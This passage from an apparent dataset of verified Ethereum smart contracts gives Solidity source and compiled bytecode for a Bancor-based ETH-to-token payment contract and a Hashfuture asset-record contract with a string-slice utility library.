* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/interfaces/ERC20Interface.sol
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
//TODO : Flattener does not like aliased imports. Not needed in actual codebase.
interface IERC20Token {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
// File: contracts/interfaces/IBancorNetwork.sol
contract IBancorNetwork {
function convert(IERC20Token[] _path, uint256 _amount, uint256 _minReturn) public payable returns (uint256);
function convertFor(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for) public payable returns (uint256);
function convertForPrioritized2(
IERC20Token[] _path,
uint256 _amount,
uint256 _minReturn,
address _for,
uint256 _block,
uint8 _v,
bytes32 _r,
bytes32 _s)
public payable returns (uint256);
// deprecated, backward compatibility
function convertForPrioritized(
IERC20Token[] _path,
uint256 _amount,
uint256 _minReturn,
address _for,
uint256 _block,
uint256 _nonce,
uint8 _v,
bytes32 _r,
bytes32 _s)
public payable returns (uint256);
}
/*
Bancor Contract Registry interface
*/
contract IContractRegistry {
function getAddress(bytes32 _contractName) public view returns (address);
}
// File: contracts/TokenPaymentBancor.sol
/*
* @title Token Payment using Bancor API v0.1
* @author Haresh G
* @dev This contract is used to convert ETH to an ERC20 token on the Bancor network.
* @notice It does not support ERC20 to ERC20 transfer.
*/
contract IndTokenPayment is Ownable, ReentrancyGuard {
using SafeMath for uint256;
IERC20Token[] public path;
address public destinationWallet;
//Minimum tokens per 1 ETH to convert
uint256 public minConversionRate;
IContractRegistry public bancorRegistry;
bytes32 public constant BANCOR_NETWORK = "BancorNetwork";
event conversionSucceded(address from,uint256 fromTokenVal,address dest,uint256 minReturn,uint256 destTokenVal);
event conversionMin(uint256 min);
constructor(IERC20Token[] _path,
address destWalletAddr,
address bancorRegistryAddr,
uint256 minConvRate){
path = _path;
bancorRegistry = IContractRegistry(bancorRegistryAddr);
destinationWallet = destWalletAddr;
minConversionRate = minConvRate;
}
function setConversionPath(IERC20Token[] _path) public onlyOwner {
path = _path;
}
function setBancorRegistry(address bancorRegistryAddr) public onlyOwner {
bancorRegistry = IContractRegistry(bancorRegistryAddr);
}
function setMinConversionRate(uint256 minConvRate) public onlyOwner {
minConversionRate = minConvRate;
}
function setDestinationWallet(address destWalletAddr) public onlyOwner {
destinationWallet = destWalletAddr;
}
function convertToInd() internal {
assert(bancorRegistry.getAddress(BANCOR_NETWORK) != address(0));
IBancorNetwork bancorNetwork = IBancorNetwork(bancorRegistry.getAddress(BANCOR_NETWORK));
uint256 minReturn = minConversionRate.mul(msg.value);
uint256 convTokens = bancorNetwork.convertFor.value(msg.value)(path,msg.value,minReturn,destinationWallet);
assert(convTokens > 0);
emit conversionSucceded(msg.sender,msg.value,destinationWallet,minReturn,convTokens);
}
//If accidentally tokens are transferred to this
//contract. They can be withdrawn by the followin interface.
function withdrawToken(IERC20Token anyToken) public onlyOwner nonReentrant returns(bool){
if( anyToken != address(0x0) ) {
assert(anyToken.transfer(destinationWallet, anyToken.balanceOf(this)));
}
return true;
}
//ETH cannot get locked in this contract. If it does, this can be used to withdraw
//the locked ether.
function withdrawEther() public onlyOwner nonReentrant returns(bool){
if(address(this).balance > 0){
destinationWallet.transfer(address(this).balance);
}
return true;
}
function () public payable nonReentrant{
//Bancor contract can send the transfer back in case of error, which goes back into this
//function ,convertToInd is non-reentrant.
convertToInd();
}
/*
* Helper function
*
*/
function getBancorContractAddress() public view returns(address) {
return bancorRegistry.getAddress(BANCOR_NETWORK);
}
}
|
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630f4f81841461013657806313fa095f1461018d57806353b7a59b146101d0578063624964c31461022757806370228eea1461027e578063715018a6146102e45780637362377b146102fb57806386f254bf1461032a57806389476069146103555780638da5cb5b146103b05780639232494e14610407578063a215cd921461043a578063af6d1fe414610467578063c6ce2664146104d4578063f2fde38b14610517575b600060149054906101000a900460ff161515156100f757600080fd5b6001600060146101000a81548160ff02191690831515021790555061011a61055a565b60008060146101000a81548160ff021916908315150217905550005b34801561014257600080fd5b5061014b610a01565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561019957600080fd5b506101ce600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a27565b005b3480156101dc57600080fd5b506101e5610ac6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561023357600080fd5b5061023c610aec565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561028a57600080fd5b506102e260048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610be7565b005b3480156102f057600080fd5b506102f9610c5c565b005b34801561030757600080fd5b50610310610d5e565b604051808215151515815260200191505060405180910390f35b34801561033657600080fd5b5061033f610eb4565b6040518082815260200191505060405180910390f35b34801561036157600080fd5b50610396600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eba565b604051808215151515815260200191505060405180910390f35b3480156103bc57600080fd5b506103c5611185565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561041357600080fd5b5061041c6111aa565b60405180826000191660001916815260200191505060405180910390f35b34801561044657600080fd5b50610465600480360381019080803590602001909291905050506111ce565b005b34801561047357600080fd5b5061049260048036038101908080359060200190929190505050611233565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104e057600080fd5b50610515600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611271565b005b34801561052357600080fd5b50610558600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611310565b005b60008060008073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166321f8a7217f42616e636f724e6574776f726b000000000000000000000000000000000000006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b15801561062f57600080fd5b505af1158015610643573d6000803e3d6000fd5b505050506040513d602081101561065957600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff161415151561068a57fe5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166321f8a7217f42616e636f724e6574776f726b000000000000000000000000000000000000006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b15801561074357600080fd5b505af1158015610757573d6000803e3d6000fd5b505050506040513d602081101561076d57600080fd5b810190808051906020019092919050505092506107953460035461137790919063ffffffff16565b91508273ffffffffffffffffffffffffffffffffffffffff1663c98fefed3460013486600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518663ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180806020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182810382528681815481526020019150805480156108bf57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610875575b5050955050505050506020604051808303818588803b1580156108e157600080fd5b505af11580156108f5573d6000803e3d6000fd5b50505050506040513d602081101561090c57600080fd5b8101908080519060200190929190505050905060008111151561092b57fe5b7feb098d35312a0bf39a0f493a76584daec1883a9ebb7f3909c8d822d7b886fda03334600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168585604051808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019550505050505060405180910390a1505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a8257600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166321f8a7217f42616e636f724e6574776f726b000000000000000000000000000000000000006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b158015610ba757600080fd5b505af1158015610bbb573d6000803e3d6000fd5b505050506040513d6020811015610bd157600080fd5b8101908080519060200190929190505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c4257600080fd5b8060019080519060200190610c589291906114a9565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cb757600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dbb57600080fd5b600060149054906101000a900460ff16151515610dd757600080fd5b6001600060146101000a81548160ff02191690831515021790555060003073ffffffffffffffffffffffffffffffffffffffff16311115610e9357600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610e91573d6000803e3d6000fd5b505b6001905060008060146101000a81548160ff02191690831515021790555090565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f1757600080fd5b600060149054906101000a900460ff16151515610f3357600080fd5b6001600060146101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515611162578173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561105e57600080fd5b505af1158015611072573d6000803e3d6000fd5b505050506040513d602081101561108857600080fd5b81019080805190602001909291905050506040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561111e57600080fd5b505af1158015611132573d6000803e3d6000fd5b505050506040513d602081101561114857600080fd5b8101908080519060200190929190505050151561116157fe5b5b6001905060008060146101000a81548160ff021916908315150217905550919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f42616e636f724e6574776f726b0000000000000000000000000000000000000081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561122957600080fd5b8060038190555050565b60018181548110151561124257fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112cc57600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561136b57600080fd5b611374816113af565b50565b60008083141561138a57600090506113a9565b818302905081838281151561139b57fe5b041415156113a557fe5b8090505b92915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156113eb57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b828054828255906000526020600020908101928215611522579160200282015b828111156115215782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550916020019190600101906114c9565b5b50905061152f9190611533565b5090565b61157391905b8082111561156f57600081816101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550600101611539565b5090565b905600a165627a7a723058208fcfdf88e5474bd3e15e5a9549fd53841e12b85dcf1c1101f327d97a5b9f71320029
|
{"success": true, "error": null, "results": {}}
| 9,064 |
0xd93312042604a31f9d3fefc866459d4d101acae6
|
/**
* Copyright (C) 2017-2018 Hashfuture Inc. All rights reserved.
*/
pragma solidity ^0.4.22;
/**
* @title String & slice utility library for Solidity contracts.
* @author Nick Johnson <arachnid@notdot.net>
*/
library strings {
struct slice {
uint _len;
uint _ptr;
}
function memcpy(uint dest, uint src, uint len) private pure {
// Copy word-length chunks while possible
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
/*
* @dev Copies a slice to a new string.
* @param self The slice to copy.
* @return A newly allocated string containing the slice's text.
*/
function toString(slice memory self) internal pure returns (string memory) {
string memory ret = new string(self._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
return ret;
}
/*
* @dev Returns a slice containing the entire string.
* @param self The string to make a slice from.
* @return A newly allocated slice containing the entire string.
*/
function toSlice(string memory self) internal pure returns (slice memory) {
uint ptr;
assembly {
ptr := add(self, 0x20)
}
return slice(bytes(self).length, ptr);
}
/*
* @dev Returns true if the slice is empty (has a length of 0).
* @param self The slice to operate on.
* @return True if the slice is empty, False otherwise.
*/
function empty(slice memory self) internal pure returns (bool) {
return self._len == 0;
}
/*
* @dev Splits the slice, setting `self` to everything after the first
* occurrence of `needle`, and `token` to everything before it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and `token` is set to the entirety of `self`.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @param token An output parameter to which the first token is written.
* @return `token`.
*/
function split(slice memory self, slice memory needle, slice memory token) internal pure returns (slice memory) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = self._ptr;
token._len = ptr - self._ptr;
if (ptr == self._ptr + self._len) {
// Not found
self._len = 0;
} else {
self._len -= token._len + needle._len;
self._ptr = ptr + needle._len;
}
return token;
}
/*
* @dev Splits the slice, setting `self` to everything after the first
* occurrence of `needle`, and returning everything before it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and the entirety of `self` is returned.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @return The part of `self` up to the first occurrence of `delim`.
*/
function split(slice memory self, slice memory needle) internal pure returns (slice memory token) {
split(self, needle, token);
}
// Returns the memory address of the first byte of the first occurrence of
// `needle` in `self`, or the first byte after `self` if not found.
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
/*
* @dev Counts the number of nonoverlapping occurrences of `needle` in `self`.
* @param self The slice to search.
* @param needle The text to search for in `self`.
* @return The number of occurrences of `needle` found in `self`.
*/
function count(slice memory self, slice memory needle) internal pure returns (uint cnt) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len;
while (ptr <= self._ptr + self._len) {
cnt++;
ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len;
}
}
}
contract owned {
address public holder;
constructor() public {
holder = msg.sender;
}
modifier onlyHolder {
require(msg.sender == holder, "This function can only be called by holder");
_;
}
}
contract asset is owned {
using strings for *;
/**
* Asset Struct
*/
struct data {
//link URL of the original information for storing data
// null means undisclosed
string link;
//The encryption method of the original data, such as SHA-256
string encryptionType;
//Hash value
string hashValue;
}
data[] dataArray;
uint dataNum;
//The validity of the contract
bool public isValid;
//The init status
bool public isInit;
//The tradeable status of asset
bool public isTradeable;
uint public price;
//Some notes
string public remark1;
//Other notes, holder can be written
//Reservations for validation functions
string public remark2;
/** constructor */
constructor() public {
isValid = true;
isInit = false;
isTradeable = false;
price = 0;
dataNum = 0;
}
/**
* Initialize a new asset
* @param dataNumber The number of data array
* @param linkSet The set of URL of the original information for storing data, empty means undisclosed
* needle is " "
* @param encryptionTypeSet The set of encryption method of the original data, such as SHA-256
* needle is " "
* @param hashValueSet The set of hashvalue
* needle is " "
*/
function initAsset(
uint dataNumber,
string linkSet,
string encryptionTypeSet,
string hashValueSet) public onlyHolder {
// split string to array
var links = linkSet.toSlice();
var encryptionTypes = encryptionTypeSet.toSlice();
var hashValues = hashValueSet.toSlice();
var delim = " ".toSlice();
dataNum = dataNumber;
// after init, the initAsset function cannot be called
require(isInit == false, "The contract has been initialized");
//check data
require(dataNumber >= 1, "Param dataNumber smaller than 1");
require(dataNumber - 1 == links.count(delim), "Param linkSet invalid");
require(dataNumber - 1 == encryptionTypes.count(delim), "Param encryptionTypeSet invalid");
require(dataNumber - 1 == hashValues.count(delim), "Param hashValueSet invalid");
isInit = true;
var empty = "".toSlice();
for (uint i = 0; i < dataNumber; i++) {
var link = links.split(delim);
var encryptionType = encryptionTypes.split(delim);
var hashValue = hashValues.split(delim);
//require data not null
// link can be empty
require(!encryptionType.empty(), "Param encryptionTypeSet data error");
require(!hashValue.empty(), "Param hashValueSet data error");
dataArray.push(
data(link.toString(), encryptionType.toString(), hashValue.toString())
);
}
}
/**
* Get base asset info
*/
function getAssetBaseInfo() public view returns (uint _price,
bool _isTradeable,
uint _dataNum,
string _remark1,
string _remark2) {
require(isValid == true, "contract invaild");
_price = price;
_isTradeable = isTradeable;
_dataNum = dataNum;
_remark1 = remark1;
_remark2 = remark2;
}
/**
* Get data info by index
* @param index index of dataArray
*/
function getDataByIndex(uint index) public view returns (string link, string encryptionType, string hashValue) {
require(isValid == true, "contract invaild");
require(index >= 0, "Param index smaller than 0");
require(index < dataNum, "Param index not smaller than dataNum");
link = dataArray[index].link;
encryptionType = dataArray[index].encryptionType;
hashValue = dataArray[index].hashValue;
}
/**
* set the price of asset
* @param newPrice price of asset
* Only can be called by holder
*/
function setPrice(uint newPrice) public onlyHolder {
require(isValid == true, "contract invaild");
price = newPrice;
}
/**
* set the tradeable status of asset
* @param status status of isTradeable
* Only can be called by holder
*/
function setTradeable(bool status) public onlyHolder {
require(isValid == true, "contract invaild");
isTradeable = status;
}
/**
* set the remark1
* @param content new content of remark1
* Only can be called by holder
*/
function setRemark1(string content) public onlyHolder {
require(isValid == true, "contract invaild");
remark1 = content;
}
/**
* set the remark2
* @param content new content of remark2
* Only can be called by holder
*/
function setRemark2(string content) public onlyHolder {
require(isValid == true, "contract invaild");
remark2 = content;
}
/**
* Modify the link of the indexth data to be url
* @param index index of assetInfo
* @param url new link
* Only can be called by holder
*/
function setDataLink(uint index, string url) public onlyHolder {
require(isValid == true, "contract invaild");
require(index >= 0, "Param index smaller than 0");
require(index < dataNum, "Param index not smaller than dataNum");
dataArray[index].link = url;
}
/**
* cancel contract
* Only can be called by holder
*/
function cancelContract() public onlyHolder {
isValid = false;
}
/**
* Get the number of assetInfo
*/
function getDataNum() public view returns (uint num) {
num = dataNum;
}
/**
* Transfer holder
*/
function transferOwnership(address newHolder, bool status) public onlyHolder {
holder = newHolder;
isTradeable = status;
}
}
|
0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063145a0adc146101015780631b4c84d2146101745780632b68bb2d146101a3578063321489d4146101ba5780634105e02f1461033857806350e26c23146103c8578063761c3688146104dd5780637f002ffe1461056d57806389231bcc1461059c57806391b7f5ed146105c757806395949823146105f4578063a035b1fe1461065d578063b145a5b814610688578063b242e534146106b7578063bb5d40eb14610706578063cf951c9f14610735578063e534155d14610834578063ea7a01421461088b575b600080fd5b34801561010d57600080fd5b5061017260048036038101908080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506108f4565b005b34801561018057600080fd5b50610189610bba565b604051808215151515815260200191505060405180910390f35b3480156101af57600080fd5b506101b8610bcd565b005b3480156101c657600080fd5b506101e560048036038101908080359060200190929190505050610cd4565b60405180806020018060200180602001848103845287818151815260200191508051906020019080838360005b8381101561022d578082015181840152602081019050610212565b50505050905090810190601f16801561025a5780820380516001836020036101000a031916815260200191505b50848103835286818151815260200191508051906020019080838360005b83811015610293578082015181840152602081019050610278565b50505050905090810190601f1680156102c05780820380516001836020036101000a031916815260200191505b50848103825285818151815260200191508051906020019080838360005b838110156102f95780820151818401526020810190506102de565b50505050905090810190601f1680156103265780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390f35b34801561034457600080fd5b5061034d6110b4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561038d578082015181840152602081019050610372565b50505050905090810190601f1680156103ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103d457600080fd5b506103dd611152565b60405180868152602001851515151581526020018481526020018060200180602001838103835285818151815260200191508051906020019080838360005b8381101561043757808201518184015260208101905061041c565b50505050905090810190601f1680156104645780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b8381101561049d578082015181840152602081019050610482565b50505050905090810190601f1680156104ca5780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390f35b3480156104e957600080fd5b506104f2611342565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610532578082015181840152602081019050610517565b50505050905090810190601f16801561055f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561057957600080fd5b5061059a6004803603810190808035151590602001909291905050506113e0565b005b3480156105a857600080fd5b506105b1611572565b6040518082815260200191505060405180910390f35b3480156105d357600080fd5b506105f26004803603810190808035906020019092919050505061157c565b005b34801561060057600080fd5b5061065b600480360381019080803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506116fb565b005b34801561066957600080fd5b5061067261188a565b6040518082815260200191505060405180910390f35b34801561069457600080fd5b5061069d611890565b604051808215151515815260200191505060405180910390f35b3480156106c357600080fd5b50610704600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506118a3565b005b34801561071257600080fd5b5061071b6119eb565b604051808215151515815260200191505060405180910390f35b34801561074157600080fd5b5061083260048036038101908080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506119fe565b005b34801561084057600080fd5b506108496120db565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561089757600080fd5b506108f2600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050612100565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109de576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001807f546869732066756e6374696f6e2063616e206f6e6c792062652063616c6c656481526020017f20627920686f6c6465720000000000000000000000000000000000000000000081525060400191505060405180910390fd5b60011515600360009054906101000a900460ff161515141515610a69576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f636f6e747261637420696e7661696c640000000000000000000000000000000081525060200191505060405180910390fd5b60008210151515610ae2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f506172616d20696e64657820736d616c6c6572207468616e203000000000000081525060200191505060405180910390fd5b60025482101515610b81576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001807f506172616d20696e646578206e6f7420736d616c6c6572207468616e2064617481526020017f614e756d0000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b80600183815481101515610b9157fe5b90600052602060002090600302016000019080519060200190610bb592919061258f565b505050565b600360029054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cb7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001807f546869732066756e6374696f6e2063616e206f6e6c792062652063616c6c656481526020017f20627920686f6c6465720000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6000600360006101000a81548160ff021916908315150217905550565b606080606060011515600360009054906101000a900460ff161515141515610d64576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f636f6e747261637420696e7661696c640000000000000000000000000000000081525060200191505060405180910390fd5b60008410151515610ddd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f506172616d20696e64657820736d616c6c6572207468616e203000000000000081525060200191505060405180910390fd5b60025484101515610e7c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001807f506172616d20696e646578206e6f7420736d616c6c6572207468616e2064617481526020017f614e756d0000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600184815481101515610e8b57fe5b90600052602060002090600302016000018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f305780601f10610f0557610100808354040283529160200191610f30565b820191906000526020600020905b815481529060010190602001808311610f1357829003601f168201915b50505050509250600184815481101515610f4657fe5b90600052602060002090600302016001018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610feb5780601f10610fc057610100808354040283529160200191610feb565b820191906000526020600020905b815481529060010190602001808311610fce57829003601f168201915b5050505050915060018481548110151561100157fe5b90600052602060002090600302016002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110a65780601f1061107b576101008083540402835291602001916110a6565b820191906000526020600020905b81548152906001019060200180831161108957829003601f168201915b505050505090509193909250565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561114a5780601f1061111f5761010080835404028352916020019161114a565b820191906000526020600020905b81548152906001019060200180831161112d57829003601f168201915b505050505081565b600080600060608060011515600360009054906101000a900460ff1615151415156111e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f636f6e747261637420696e7661696c640000000000000000000000000000000081525060200191505060405180910390fd5b6004549450600360029054906101000a900460ff169350600254925060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112975780601f1061126c57610100808354040283529160200191611297565b820191906000526020600020905b81548152906001019060200180831161127a57829003601f168201915b5050505050915060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113345780601f1061130957610100808354040283529160200191611334565b820191906000526020600020905b81548152906001019060200180831161131757829003601f168201915b505050505090509091929394565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113d85780601f106113ad5761010